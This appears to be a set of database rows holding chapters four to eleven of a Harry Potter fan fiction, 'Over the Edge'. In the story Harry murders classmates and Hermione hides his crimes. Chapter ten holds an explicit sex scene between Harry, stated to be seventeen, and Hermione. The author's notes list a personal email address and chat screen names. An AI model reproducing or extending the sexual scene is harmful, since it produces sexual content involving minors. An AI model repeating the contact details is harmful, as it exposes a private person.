	(186, 4, 'Over The Edge<br><br>Chapter Four-Complicated Reactions<br><br><br><br>&quot; \nWhat?&quot; Hermione gasped, she glared into the depths of his eyes.<br><br>Harry \nreturned the stare, &quot; I murdered Colin&quot;.<br><br>&quot; Nice try Harry, but it\'s not \nmaking me feel better&quot; she saw that he wasn\'t giving in, had it been a joke, &quot; \noh my god&quot;.<br><br>He smiled for a second, &quot; so it couldn\'t have been you, I \nremember doing it&quot;.<br><br>Hermione tried to get herself to calm down, &quot; are you \nsaying that you actually murdered someone?&quot; the words didn\'t make \nsense.<br><br>&quot; Yes, I was the one who killed Colin. I cut his throat in the \nlibrary last night&quot;.<br><br>There was only one thing she could say, &quot; \nwhy?&quot;.<br><br>&quot; I don\'t know&quot;.<br><br>She knew better than to start yelling at \nhim, &quot; you don\'t just do something like this and not have some kind of a \nreason&quot;.<br><br>He tried to shake it off, &quot; I didn\'t know what I did until after \nit was done. I know it doesn\'t make any sense, but, there was nothing going on \nin my mind&quot;.<br><br>Hermione took a deep breath, &quot; but you still did \nit&quot;.<br><br>Harry nodded, &quot; I can\'t change that&quot;.<br><br>She wrapped her arms \naround her body, turning away from him, scared to look. But she knew that wasn\'t \neven close to anything else she felt about him. Tiny steps were taken to the \nstaircase. Harry gazed at the fire as she left.<br><br>&quot; Harry&quot; he looked up \nwhen Hermione said his name from the middle of the steps, &quot; I\'m not going to \ntell, anyone&quot;.<br><br><br><br>The blood on Hermione\'s cloak came from Harry\'s \nhands when he hugged her. It was Colin\'s. The one person she saw differently \nthat anyone else, had to be considered a murderer, even if it was only between \nthem. Hermione didn\'t know what would happen starting in the morning. Cut what \nshe learned tonight, didn\'t have a negative effect on \nher.<br><br><br><br><br><br>Author\'s Note- Sorry for a short chapter, but this \none was just to round up what really happened. And also, if you can notice, a \nfew things about Hermione (if you can\'t tell now, you will sooner or later). By \nthe way, Blanche Dubios, those &quot; steamy scenes&quot; you were talking about in your \nfirst review, they\'re coming up.<br><br>Foreshadowing for Chapter Five- What \ndoes happen the next morning? Better yet, what\'s Hermione going to \ndo?\n'),
	(186, 5, 'Over the Edge<br><br>Authors Note- Maybe not necessarily Hermione doing \nthe obsession, but you\'re in the right area. This chapter practically wrote \nitself, at 3am in my living room where I got grounded for being up so late, but \nit\'s totally worth it.<br><br>Chapter Five- There\'s Something About \nHarry<br><br><br><br>Hermione didn\'t sleep that night. She said in bed, in the \ndark, her mind racing and she couldn\'t focus only on one thought. Over the \nyears, since the she met \' the boy who lived\', Hermione had seen some courageous \nand yet horror things he had done. The chamber of secrets, the death eaters, \nVoldemort of course, and the many attempts at verbally and physically harming \nDraco Malfoy. But those were times when he needed to do those things, not always \nfor the sake of living, but close enough. Not Colin Creevy, he had never done a \nthing wrong. There was no visible reason for his murder. Maybe it was something \nHarry saw, only him. Something in his brain, in his thoughts, that told him \nColin had to die. Or maybe, he was just in the wrong place at the wrong time. \nMaybe it wasn\'t Colin, but Harry. She knew for a fact that there was something \ndifferent about Harry, something dark and dangerous. The problem was, she didn\'t \nknow what it was exactly. But she was determined to find out.<br><br><br><br>The \nnext morning, Hermione was hazy from being sleep deprived, and very edgy. She \nwasn\'t alert as every always expected her to be. Downstairs, she saw Harry from \na far. By the color under his eyes, he hadn\'t slept either. He probably had the \nexact opposite on his mind, then again, he could have been just as confused as \nshe was.<br><br>Professor McGonagall came in once again with another \nannouncement. Regular routines would be in effect as soon as Professor \nDumbledore had a private meeting with every student. That could be a long time, \nand even though Hermione and Harry had every class together, she wanted to talk \nto him as soon as possible.<br><br>After breakfast, in the common room, Hermione \nwent upstairs to gather some studying materials. Taking part in her usual \nactivities could help set her mind straight. She dug through her footlocker in \nthe deserted dorm room. As soon as she had her Potions book, she stood up, \ncoming face to face (well not really, he\'s taller now) with Harry.<br><br>Before \nshe could speak or react, he grabbed her by the hips, pushing her back a couple \nof steps. Hermione dropped the book, her conscience telling her to scream. But \nthis was Harry, she couldn\'t.<br><br>&quot; I don\'t want you to be afraid of me&quot; for \nanother person, it would be hard not to with the firm hold he had on her, &quot; you \nshould be running away, screaming&quot; it was like he could read her mind, &quot; you \nshould be telling McGonagall and Dumbledore that I was the one who killed \nColin&quot;. She never blinked once, there was so much emotion in his eyes. Fear, \nguilt, regret, and maybe the need to break down and cry. &quot; I don\'t know why you \nhaven\'t, or if you\'re going to, but no matter what, I don\'t want you to be \nafraid of me, ever&quot;.<br><br>There was so much Hermione could say now that she \nhad the chance, but with the tone of voice she had, he would have her. She \ndidn\'t say one word, only placing a finger over his lips, did Harry know that \nshe understood. He leaned in closer, the tips of their noses touching. Hermione \nclosed her eyes ready, willing, for what she thought was coming. But it didn\'t. \nHarry backed away, releasing her, and leaving the room, passing Ginny on his way \nout. Hermione was breathless.<br><br>Her mind absorbed every word he had said to \nher. She wasn\'t afraid. Maybe physically, after six years of Quidditch it would \nbe hard to win a fight against him, but not of him personally. Not of the boy \nshe first met on the train when looking for a runaway frog. Not the one who \nsurvived puberty who risked his life to save another (though committing murder \ntook a life). Not of the boy who sat at her bedside everyday, and brought \nflowers, when she was petrified. And not of the grown teenager who risked so \nmany things to save someone because he was the only one who knew he was \ninnocent. She may be the only person who could see past a grueling crime to the \nreal Harry. Harry Potter was so much more than a murderer, the title didn\'t fit \nhim, but it had to be there. When it would be Hermione\'s turn to go into \nDumbledore\'s office, she planned to tell the truth and lie at the same time. The \nlast moment she saw Colin alive was in the common room before her Charms class. \nBut no, she never saw Harry re-enter the tower that night. On the outside, he \ndidn\'t leave in the first place.<br><br>But on the inside, she wasn\'t going to \nprotect him as much. She had a lot of searching to do.\n'),
	(186, 6, 'Over the Edge<br><br>Chapter Six- The Boy Who Killed<br><br><br><br>She \nwent back to the common room. It took a moment, but she saw Harry and Gunny, by \nthe same window as two nights before.<br><br>&quot; Mind if I join you?&quot; she \ngrinned.<br><br>Ginny had a somewhat angry expression, seeing as she was alone \nwith the guy of her dreams. &quot; Usually you shut yourself away in a your own \ncorner and snap at anyone who goes near you&quot;.<br><br>Hermione shrugged, &quot; when \nsomething like this happens, it makes you think about what you\'re doing with \nyour time&quot;. Harry looked over at Ginny, then glared at Hermione, only he knew \nwhat she really meant. &quot; Where\'s Ron?&quot;.<br><br>&quot; Dumbledore, they\'re starting at \nthe end of the alphabet&quot; Ginny said.<br><br>That meant Harry would go before \nHermione. He had the chance to turn himself in before she would to lie. But it \nwas easily seen, that he wasn\'t going to do it.<br><br>&quot; I\'m going to go get my \nTransfiguration book&quot; Gunny left them alone.<br><br>The silence was more brutal \nfor him. &quot; What are you doing?&quot;.<br><br>She ignored him in that way, &quot; what was \nour Potions homework?&quot;. But he wasn\'t giving in. She sighed, &quot; you\'re a wreck, \nand I don\'t think you\'re safe alone&quot;.<br><br>&quot; I\'m not going to tell \nGinny&quot;.<br><br>Even if he did, it wouldn\'t do much. After five years, she was \nstill both quietly and madly in love with him. Who knows, maybe knowing he was a \ndangerous murderer would be an erotic turn on (A/N- does that sound familiar to \nanyone?). &quot; Then why did you tell me?&quot;.<br><br>He paused, but sounded sure when \nhe did answer. &quot; Because I trust you&quot;. There was a chance he was lying, for the \nsake of her not telling. But it was something about the way he was looking at \nher. There was no trace of doubt in his eyes. Not like she had any to begin \nwith.<br><br>&quot; Trust what?&quot; Ginny heard what he answered, luckily not what \nHermione had asked.<br><br>The two looked down at their books. &quot; Just, trusting \nHermione, with everything&quot; and he wasn\'t lying.<br><br>Before Ginny could pop \nanother question, Professor McGogonagall entered the tower and the room dropped \ninto dead silence. &quot; Tomorrow, Saturday, the entire school will be going on a \ntrip to the village of Hogsmeade for the weekend, with or without a permission \nslip&quot;.<br><br>Excitement grew rapidly around the common room. Though this was \nonly happening because the staff wanted the students out of the school in \nattempts for clues on the murder. Hermione wondered about those clues. If Harry \nhad a weapon, what did he do with it? He had the power to make things disappear, \nhopefully he used it.<br><br>&quot; That\'s a little strange&quot; Harry \ncommented.<br><br>&quot; Who cares, you\'re not going&quot; Hermione said.<br><br>He arched \nan eyebrow, &quot; I\'m not?&quot;.<br><br>&quot; Nope&quot;.<br><br>The conversation did not \ncontinue, Ginny was right there and Ron had just come back. &quot; Bloody hell, they \ngot mind tricks to make you talk, it\'s horrible&quot;.<br><br>It was only Ginny\'s \nturn to go, but Hermione could tell from the vibes that Harry was scared. There \nwas no other word, he was scared.<br><br>She took her quill, using Harry\'s ink \nbottle and a ripped piece of parchment, she wrote:<br><br>What did you use to \nkill him?<br><br>He hesitated, but returned the note without being \nnoticed:<br><br><br><br>A knife, I think Dobby gave it to me<br><br><br><br>He \nthought? How could he not remember? Maybe he had it for awhile.<br><br>Where is \nit?<br><br><br><br>One of the school owls got rid of it<br><br><br><br>And there \nwas something else:<br><br>Why aren\'t we going to Hogsmeade?<br><br>Hermione \nsmirked while scribbling on the parchment:<br><br><br><br>Because I\'m not \nafraid<br><br><br><br><br><br><br><br>Foreshadowing Chapter Seven- There may be \nanother murder before the Hogsmeade trip. Who\'s it going to be?\n'),
	(186, 7, 'Over the Edge<br><br>Authors Note- Anyone who wants to chat and/or doesn\'t \nhave a profile, I\'d love to talk to you guys. My email is morgsyncer@yahoo.com. \nMy screen name on AIM is TinyMoe361 and on Yahoo it\'s lilgetum. And if you guys \nhave any, leave it in a review. Thanks, an on to the story.<br><br>Chapter \nSeven- Screams in the Night<br><br><br><br>Harry looked sick upon returning from \nDumbledore\'s office. There was no screaming, or swarms of dementors, and he had \ncome back. Harry did not confess, not like she was expecting it.<br><br>Hermione \nwent with what she had planned about lying and the truth. It worked, despite how \nscared she was. But Professor Dumbledore asked what the last thing Colin said to \nher was. She remembered (and answered truthfully) \' see you later\'. Simple \nenough.<br><br><br><br><br><br>After everyone went to bed, Hermione found it \neasier to get some sleep. She wasn\'t too worried about Harry, knowing he was \nalright for the time being. He wasn\'t capable of much right now. Even smart \ngirls like Hermione are wrong once in awhile.<br><br>It was about ten or fifteen \nminutes after getting into bed, in Hermione\'s half asleep stage. An earth \nshattering, mind-bending scream pierced through the eardrums of anyone in or \naround Gryffindor tower.<br><br>Hermione, along with the other girls in her \ndorm, burst into the hallway, throwing themselves among the huge crowd already \nthere. She wasn\'t too far from the balcony, so she pushed herself through those \naround her. They didn\'t notice.<br><br>Ron was already at her destination when \nshe got there. He was in awe, but Hermione didn\'t have to ask, it was all right \nthere.<br><br>Ginny, obviously the one who had screamed, stood in the center of \nthe spiral staircase. Below, on the floor, was a body, laying there. A pool of \nblood around. Dead. It was happening again, less than three days \nlater.<br><br>Before either her or Ron could see who it may be, they were pulled \nback into the mob. There was one voice, only one, that could be made out. \nProfessor McGonagall.<br><br><br><br>&quot; Everyone into my classroom, NOW!&quot;. Like a \nchain, everyone bolted down the staircase furthest away from the body and to the \nportrait hole. It was too dark for anyone to see who it was. But there was one \nperson who did know.<br><br><br><br>Now, it was a huge discovery to those at \nHogwarts from the first murder mystery. The murderer was in Gryffindor, and so \nfar, as were the victims. They took place at night, when password entrances were \nunder a more strict effect.<br><br>She lost track of Ron somewhere between the \nportrait hole and the Transfiguration classroom. But it wasn\'t him she wanted to \nfind right now.<br><br>&quot; Harry!&quot; she recognized him in the corner, alone. She \nsaw the tears in his eyes, the look of guilt and horror on his face. &quot; It\'s \nokay&quot; Hermione wrapped one arm around his waist and the other around his neck, \nallowing his head to rest on her shoulder.<br><br><br><br>&quot; I don\'t know what \nthe hell is wrong with me!&quot;.<br><br>&quot; That\'s what I\'m going to find out&quot; she \nwhispered, &quot; Harry, who was it?&quot;.<br><br>It\'s not that she wanted to encourage \nwhat he was doing, but a lecture would make things worse if anything. Helping \nhim would involve being on his side, which she already was. Speed was \neverything, seeing as lives were being lost.<br><br>&quot; \nNeville&quot;.<br><br><br><br>Authors Note- While you may not see the pattern of the \nmurder victims, it will make sense when Hermione (and you\'ll find out at the \nsame time) discovers why. Don\'t worry Blanche, the scenes I promised are \ncoming.\n'),
	(186, 8, 'Over the Edge<br><br>Chapter Eight- Hogsmeade, Diagon Ally, and \nTransfiguration<br><br><br><br><br><br>Neville Longbottom and Colin Creevy were \ndead. They never saw the end coming, especially from someone like Harry. Someone \nthey considered a friend, someone they trusted, the same someone who took their \nlives in violent ways. There wasn\'t a possibility of Harry waking one morning, \ndeciding he wants to murder someone, plan it, and then actually doing it. \nSomething in his mind that he had no control over, and it was taking over his \nlife. The problem was, he knew it was there, he just didn\'t know what it was. \nAny further, and Harry could find himself in Azkaban prison for the rest of his \nlife.<br><br><br><br>While the tension in the room was as thick as stone, \nHermione fell asleep, her head in Harry\'s lap. She knew what happened and who \ndid it so there was no reason to worry, plus exhaustion was well over \nher.<br><br>Ron found them before Harry drifted off himself. &quot; She\'s probably \nthe only one who can sleep, she\'s never afraid&quot;.<br><br>&quot; Maybe if you knew&quot; he \nsaid in such a way, that if Ron had the slightest clue on what was happening, he \nwould have figured out right there that his best friend was the mysterious \nmurderer.<br><br>In both fortunate and unfortunate ways, he didn\'t. &quot; Knew \nwhat?&quot;.<br><br>He reconsidered his decision about telling anyone else. There was \nno reason to tell Ron, he had to tell Hermione only so she wouldn\'t accuse of \nherself of the murder she didn\'t commit. But it would be betraying her, and the \ndesperate attempts she has to help him. &quot; Nothing, forget it&quot;.<br><br>Seamus, \nthe newest Head Boy for Gryffindor, stood on one of the desks, a replacement for \nMcGonagall. &quot; Every student will be leaving school grounds any moment. Revenclaw \nand Slytherin are going to the Leaky Cauldron in Diagon Ally, ourselves and \nHufflepuff to Hogsmeade. Please try and stick together for the love of \nDumbledore, we\'ll probably know more when we get there&quot;.<br><br>Ron watched \nSeamus step down. &quot; I\'m going to see if Ginny is alright, I don\'t want her \ngetting left behind&quot;.<br><br>&quot; No you don\'t&quot; Harry muttered as he walked away. \nHe looked down at Hermione, still sleeping. Gently shaking her shoulder, she \nmoaned, but didn\'t wake. &quot; I guess I\'m going to Hogsmeade&quot; he whispered in her \near.<br><br>Suddenly she shot up, gasping. &quot; Like hell you will!&quot; she grabbed \nhis shirt collar, nearly strangling him.<br><br>&quot; I was only joking&quot; he \nsaid.<br><br>Hermione released him, then gazed around the room. &quot; Uh oh&quot; she \njumped off the table, dragging Harry with her. Dashing out of sight behind an \nold bookshelf, she slid to the floor, as did he.<br><br>Keeping a hold on his \ncloak, Hermione was occasionally peering around the corner as the remainder of \nthe students filed out. Within a minute, it was completely silent.<br><br>&quot; \nWhere\'s your Indivisibility cloak?&quot;<br><br>&quot; Back in the room&quot;.<br><br>Hermione \nstood, taking a few steps back. This was the first chance that Harry got to see \nwhat little she wore to bed compared to what she wore during the day.<br><br>&quot; \nMaybe I shouldn\'t be saying this, but the Fat Lady does have a big mouth. If she \ndid let you in, she\'d defiantly rat you out&quot;.<br><br>She grinned, &quot; say it all \nyou want Harry, it\'s only a waste of breath&quot;. In a blink of her own eye, \nHermione disappeared. She transperated, obviously, illegally. He couldn\'t \ncomplain about breaking any laws.<br><br>Seconds later, she reappeared, his \nsilver cloak draped over her arm. &quot; Can I trust you to stay here?&quot;.<br><br>&quot; \nWhere are you going?&quot;.<br><br>Hermione wrapped the cloak around so only her head \nwas visible. &quot; Snape\'s classroom&quot; she could tell he was about to ask why, &quot; if \nyou\'re going to tell me what\'s going on, you can\'t know what you\'re \nsaying&quot;.<br><br><br><br><br><br><br><br><br><br>Foreshadowing for Chapter nine- \nHermione goes through with her plan, what\'s it going to do to \nHarry?\n'),
	(186, 9, 'Over the Edge<br><br>Chapter Nine- One Sip, One Kiss<br><br><br><br>Harry \nsat across from Hermione on the tabletop. Before he was a cauldron and nine or \nten little bottles circling around it. Once in awhile she\'d take a different one \nand pour just a touch, or the whole thing, inside. The first potion that came to \nmind of Hermione ever making was the polyjuice potion back in their second year. \nThat turned her part cat part human. So this was scaring him.<br><br><br><br>&quot; \nSince you are the Book Queen, shouldn\'t you have something, anything, here to \ntell you what you should or shouldn\'t be putting in there?&quot;.<br><br>She kept her \nconcentration on the cauldron. &quot; I memorized this potion in our third year when \nI was trying to find out if Ron liked me. But don\'t worry, I\'m over that. This \nis more serious&quot;.<br><br>&quot; Just a little&quot; he smiled.<br><br>Hermione glared at \nhim, smirking when she saw his face. &quot; You\'re making fun of me&quot;.<br><br>&quot; Oh no, \nno, no, I\'d be much too frightened to tease you&quot; (A/N- I know that\'s from Star \nWars, I don\'t own that either).<br><br>&quot; You\'re the famous Harry Potter, you \ncan\'t be afraid of anything after facing off Lord you know who&quot;.<br><br>Harry \nkept his eyes locked on her, &quot; we all have a sort of sensitive side, maybe with \nthe exception of you&quot;.<br><br>She corked an empty bottle, &quot; it\'s there, I\'ve got \none, you just have to find it&quot;. That could have been a hint, or an offer for \nhim. The spark in her eyes was quiet the indication. Hermione reached for a \ncrystal glass that had been on one of the chairs. &quot; Alright&quot; she re-directed her \nattention again to pouring a thick blue liquid into the glass, &quot; drink \nthis&quot;.<br><br>Harry accepted it from her, studying the substance. Tightly \nshutting his eyes, he swallowed it all in one gulp, leaving a very disgusted \nlook on his face. &quot; Oh god, I hope that stays down&quot;.<br><br>Hermione giggled, &quot; \nnow lay down&quot; she gently guided him onto the tabletop.<br><br>&quot; Why? What\'s \ngoing to happen?&quot; he looked worried, but to her it was amusing in an adorable \nfashion.<br><br>&quot; Don\'t worry&quot; she whispered, &quot; it\'s only going to feel like \nyou\'re falling asleep&quot;.<br><br>He was already beginning to sound groggy, by that \ntime he was entirely relaxed, though worried he might not wake up. &quot; What good \nwill that do?&quot;.<br><br><br><br>&quot; Don\'t worry&quot; Hermione repeated, watching his \neyes close and his breathing becoming heavier, &quot; Harry?&quot; she \nwhispered.<br><br>His voice was more clear than hers, &quot; yes?&quot;.<br><br>She leaned \nover him, &quot; why did you do it? Why did you kill Neville and \nColin?&quot;.<br><br>Harry took a deep breath, acting as though he was sleep walking, \n&quot; Hermione&quot; it was barely audible.<br><br>&quot; I\'m right here&quot;.<br><br>His head \nturned, facing her, his eyes slowly opening. He may have not known what he was \nsaying, but now she didn\'t know what she was doing. Leaning downward, closer and \ncloser. It looked very much like hesitation, but that\'s not what Hermione \nfelt.<br><br>Time, and every aspect of it, stopped upon placing her lips on \nHarry\'s.<br><br><br><br><br><br><br><br><br><br>Authors Note- The next chapter \nis what a lot of you have been waiting for. But, I can\'t post it here, so go to \nhttp://fanfiction.portkey.org/ and it will be there. The whole story is there, \nsame title. In case you can\'t find it there, my pen name on that site is \ntweak27. It may take just a little bit longer, cause I have to actually write \nthe chapter. It\'s not the same writing something like THAT in the middle of \nclass. I hope you guys like it.\n'),
	(186, 10, 'Over the Edge<br><br><br><br>Chapter Ten- Simple \nAttractions<br><br><br><br>The kiss had only lasted a second before Hermione \nalmost threw herself off the table and onto her feet. That she was doing was \nwrong, at least, that\'s what she tried to tell herself. Harry sat up as she \nbacked away, closer the wall.<br><br>&quot; Oh god&quot; she gasped, &quot; oh my god! I can\'t \nbelieve I just did that, fuck!&quot; Hermione carried on as thought Harry couldn\'t \nhear her, which she believed was true as an effect of the potion. &quot; Fuck! What \nthe hell is wrong with you Granger? He doesn\'t know what you\'re \ndoing!&quot;.<br><br>Harry sat up, &quot; yes I do&quot;.<br><br>She stopped, gaping, and \ngripping at her scalp. &quot; What?&quot;.<br><br>He stood up and began walking towards \nher, shrugged, &quot; I guess the potion didn\'t kick in or something&quot;.<br><br>It only \nsent her into panic again, &quot; oh no! It\'s not working! No we\'ll never know what\'s \nwrong! You\'ll keep killing and then end up in Azkaban&quot; he kept walking, &quot; \nand&quot;.<br><br>Harry pressed his lips against hers, backing her entirely to the \nstone. Hermione held out her hands, being caught off guard. The tip of his \ntongue glided along her lips. Hermione returned the kiss, hungrily, letting \ntheir tongues duel with the other. She clutched at the back of his cloak, Harry \ngrabbed the side of her nightgown. Hermione brushed her right hand against his \ncheek.<br><br>They separated, only for a second to regain oxygen. Gazing at each \nother, they didn\'t say a word before she captured his mouth again in another \ndeep kiss.<br><br>With her back to the wall, Hermione grinded his body into his, \nfeeling arousal. She slid her hands under his shirt, massaging his torso. \nEarlier, she was right about how he was physically built. It\'s amazing what six \nyears of non-stop Quidditch could do to a seventeen-year-old body.<br><br>Harry \nlet out a moan into her mouth, pressing his tongue deeper into her mouth. \nHermione worked at the ties on his robes while still feuding, she slid the cloth \noff his arms as it fell to the floor. Slipping away, he brought both hands to \nher shoulders, freeing her of the long sweater over the \nnightgown.<br><br>Hermione pulled him closer from the hem of his shirt. For the \nlongest moment, they stayed in each others gaze, with no words, no movements, \njust looking. Not for anything specific, maybe wanting to know what the other \nwas thinking, or feeling.<br><br>In a swift, yet slow, motion Hermione pulled \nhis shirt over his head, randomly dropping it on the floor. With one hand still \nnear her arm, Harry slid the satin upwards on her thigh. She jumped, her body \nbeing pressed between Harry and the brick, her legs wrapped around his \nwaist.<br><br>He had his arms around her. &quot; You\'re not wearing any underwear, is \nthat part of you\'re plan?&quot; he whispered in her ear.<br><br>Hermione was too lost \nin the feeling of where his hands were to concentrate, &quot; just an advantage&quot; she \ngrinned. Reaching her hands between her legs, Hermione quickly unfastened his \npants, pulling the zipper down.<br><br>She leaned forwards, sliding her hands \ndown her side, placing her lips on the flesh of his neck. He groaned deep in his \nthroat.<br><br>&quot; Harry&quot; it was a silent plead he could not \nignore.<br><br>Holding her hips, he slowly entered her. Hermione whimpered \nagainst his skin, tickling his nerves. It was two sensations neither could \ndescribe.<br><br>Hermione leaned back where she was facing him. &quot; Hermione&quot; he \nspoke between thrust and coarse breathing, &quot; please, tell, me, that, this, \nisn\'t, out, of, pity&quot;.<br><br>She ran a hand through his untidy hair, &quot; this \nisn\'t out of pity&quot;.<br><br>Hermione pushed herself onto him so he\'d go deeper. \nShe tightened her clutch on his waist, running her hands down his back, feeling \nevery strain on each muscle. Harry tenderly kissed her forehead as Hermione \ntwirled her fingers in the hair on the nape of his neck, grinding her back \nagainst the rough wall.<br><br>After a final deep breath, Harry placed his lips \nsmoothly on hers. The cries from her release were muffled, only vibrating across \nhis mouth. The balance in his knees went, both gently gliding to the floor. He \nwas still in her arm, breathing hard in recovery.<br><br><br><br>Near the waist \nof his back, Hermione saw the blood on his skin, dried. It most likely wasn\'t \nhis, but it would be at great risk if anyone else saw it.<br><br>&quot; Harry, you\'ve \ngot blood all down your back&quot; she warned, their breathing now at a normal \nrhythm, &quot; you should go wash it off, just to be safe. I\'ll stay here and see \nwhere the potion went wrong&quot;.<br><br>After he left, she noticed it was really a \nsuggestion to be alone, so he wouldn\'t see how scared she was. At the same time, \nshe had sex with her best friend, a murderer. And yet, she never felt so \nsafe.<br><br><br><br>Usually, Harry found the dozens of faucets in the prefects \nbathroom to be entertaining, but a lot has changed. He simply filled the large \ntub with water and soap. Not even bothering his clothes, Harry just slid into \nthe water, floating on his back, trying to pretend that the world had come to an \nend and there was nothing left to worry about. Unfortunately he wasn\'t that \nlucky. Removing his cloak to his bare back, Harry tried to reach around to wash \naway the blood. A sudden touch made him jump.<br><br>Ginny had dipped into the \nwater without him noticing, a damp wash cloth in her hand and a smirk on her \nface. &quot; What are you doing here?&quot; he asked, the impression that he and Hermione \nwere the only students left behind was suddenly broken.<br><br>&quot; What does it \nlook like I\'m doing?&quot;. He went down in the water a bit to hide his back as \nHermione had warned. &quot; You should be at Hogsmeade&quot;.<br><br>She shrugged, &quot; so \nshould you&quot;.<br><br>Harry sunk so only his head was above the surface, &quot; I, uh, \nwanted to stay behind&quot;.<br><br>&quot; With Hermione&quot; Ginny\'s eyes turned cold, &quot; is \nthat her reason too? Some lame excuse. But I\'d really like to know yours for \nlying, you told me that no matter what, you\'d never leave me to be with another \ngirl&quot;.<br><br>&quot; Ginny, we broke up over six months ago, I said that when we were \ndating. But I meant it then&quot;.<br><br>She swam closer, &quot; are you saying there\'s \nnothing between you and Granger?&quot;.<br><br>He didn\'t answer right away, instead \nstared at her. Watching every flicker in her eye and every twitch of her lips. &quot; \nNo, I\'m not saying that&quot;.<br><br>&quot; Come Harry&quot; she leapt forward in the water, \nencircling her arms around his waist, &quot; what\'s six months?&quot;.<br><br>Harry tried \nto push her off, &quot; a long time&quot; but she wouldn\'t budge, &quot; come on Ginny, get \noff&quot;.<br><br>Her smirk grew, &quot; no&quot; she grabbed him tighter, &quot; maybe I don\'t want \nto let go this time&quot;.<br><br>He was having a hard time breathing, which was made \nno better when Ginny pressed her lips against his. Maybe just one kiss, one \nlittle kiss wouldn\'t hurt, anything to get Ginny to let go.<br><br>The door \nclosed, breaking the two apart. They both looked to see who it was, it could \nonly be one person who walked in on \nthem.<br><br>Hermione.<br><br><br><br><br><br>Authors Note- This is my first \nattempt at this, so please go easy on me. There\'s only two chapters left after \nthis one.\n'),
	(186, 11, 'Over the Edge<br><br>Authors Note- Phew, I was afraid the last chapter \nwasn\'t going to go over well. Thank you for the reviews everyone and sorry for \nthe wait but I love the torture (.<br>Chapter Eleven- Confessions of a Dangerous \nMind<br>Hermione stood like a petrified statue, which she had already been once \nbefore. Ginny and Harry were just the same, though she had her hands on his \nshoulder. Hermione couldn\'t see where Harry\'s hands were, which to him was a \nvery lucky advantage.<br><br>She wasn\'t sure of her feelings for Harry at that \npoint, the past hour made things confusing. It wasn\'t for his sake, what they \nhad done, Hermione was in love, deeply. It couldn\'t have been a recent \ndevelopment, not even close. The question was the confusing part, how much? How \nfar would she go for him? She lied to keep him from being caught, would she like \nto keep him out of Azkaban prison?<br><br>She had to find the answer, but things \nhad to be dealt with one at a time.<br>&quot; Hermione, honest, this isn\'t what it \nlooks like&quot; she did believe him, typical as it sounded, it was the truth. \nEveryone knew that Ginny Weasley, alone, in a bath with Harry, she wouldn\'t be \nherself anymore. He tried to swim away from her. &quot; Ginny, can you please let \ngo?&quot;.<br><br>&quot; No!&quot; her voice echoed, receiving two distinct glares. &quot; What\'s \ngonna happen if I don\'t Harry, are you going to..kill me?&quot;.<br><br>Hermione lost \nher jaw, Harry came close to drowning, and Ginny had one heck of a grin. &quot; I\'d \nbe your third victim, it\'d be quiet the honor. The famous Harry Potter slicing \nmy throat&quot;.<br><br>Harry pushed himself out of her grip and to the edge, \nclimbing out. Access water dropped from his cloak and clothing to the tiled \nfloor. &quot; You don\'t know what you\'re talking about&quot;.<br><br>&quot; Oh but I do&quot; she \nkept the grin, &quot; I was there, Harry, I saw you murder Neville from the balcony, \nand I know all about Colin as well&quot;.<br><br>Hermione looked across at Harry, he \nwas very pale. She began walking around to get to him. &quot; Ginny, you\'ve been \nknown to have a very active imagination&quot;.<br><br>&quot; Oh cut the shit Granger! I\'m \nnot as gullible as I was in my first year&quot;.<br><br>&quot; Gullible is one way of \ndescribing it&quot; Harry muttered.<br><br>She smacked his arm, then gazed at Ginny, \nwho was now getting out. &quot; You silence on this would mean the world. Azkaban \nwon\'t help Harry, I will&quot;.<br><br>Ginny stood before them, still shorter and the \nlook of mischief and evil on her face. &quot; Oh, it\'s going to take a lot more than \na beg to keep me silent&quot; Harry didn\'t like the sound of that, she was giving off \na seductive vibe. &quot; I think we both know what that is&quot;.<br><br>Hermione turned \nher head, her wide eyes seeing him stuck in a trance on Ginny. &quot; Um, \nHarry...&quot;.<br><br>He snapped from it, &quot; oh no, there is no way I\'m sleeping with \nyou just so you\'ll keep your mouth shut!&quot;.<br><br>&quot; Come on Harry&quot; Ginny \npleaded, &quot; it\'s just sex, only once, I promise. You never turned it down \nbefore&quot;.<br><br>Hermione jumped in, &quot; maybe we could made another \narrangement&quot;.<br><br>Ginny gazed at her, eyes ice cold. &quot; Perhaps an arrangement \nto do with why Harry turned to murder. That I happen to know as \nwell&quot;.<br><br>Hermione had come to her own conclusion. It didn\'t make sense, but \nit\'s all she could come up with in one second. &quot; It\'s your choice Harry&quot; she \nmumbled, turning away.<br><br>Harry was confused between the two. Both girls \nknew something that could cost him life in prison. One wanted him in exchange \nfor silence, and the other was willing to be there no matter what. &quot; No, \nHermione\'s right, we can figure something out&quot; he slid a hand into his \npocket.<br><br>&quot; I don\'t think so&quot; Ginny replied.<br><br>Slowly, Harry\'s will \ngave in. His mind became paralyzed and his body took over without \ncontrol.<br><br>&quot; I do&quot;.<br><br>He grabbed the pocketknife from Sirius that he \nalways had on him. Ginny hadn\'t noticed, but Hermione saw the blade from the \nfirst moment. Harry grabbed Ginny fast enough to make her scream. One arm was \ncoiled tightly around her waist, the other around her neck with the \nknife.<br><br>&quot; What the hell are you doing?&quot; Hermione yelled. Ginny was panting \nbeyond too scared to defend herself. She had her hands pulling at his arm, but \nthere was no use.<br><br>Harry began to back-up with her. &quot; I really don\'t want \nto do this, but, if I\'m going to that hell hole Azkaban, I want to make sure no \none knows my motive&quot;. He pressed the blade against the skin on Ginny\'s neck, \ncausing tears to leak from her eyes.<br><br>Hermione felt her heart jump into \nher throat. Ginny Weasley, of all people. Would Hermione witness her murder? If \nGinny told what she knew before dying, would Harry kill her as well?<br><br>&quot; I \nwon\'t tell, I swear!&quot; Ginny screamed, back to her regular self.<br><br>&quot; I\'m no \nmore gullible than you are&quot; Harry told her in a rough tone.<br><br>Hermione \ninched closer to them, raising her hands to show that she doesn\'t meant to do \nanything someone would regret. &quot; Come on Harry, don\'t do this, just let her \ngo&quot;.<br><br>He shook his head, revealing his want from the same pocket. &quot; I\'m \nsorry Hermione, I really am..expellimus!&quot;.<br><br>A gold ray of light, a huge \nblast of blinding light, and Harry escaped from the bathroom.\n'),
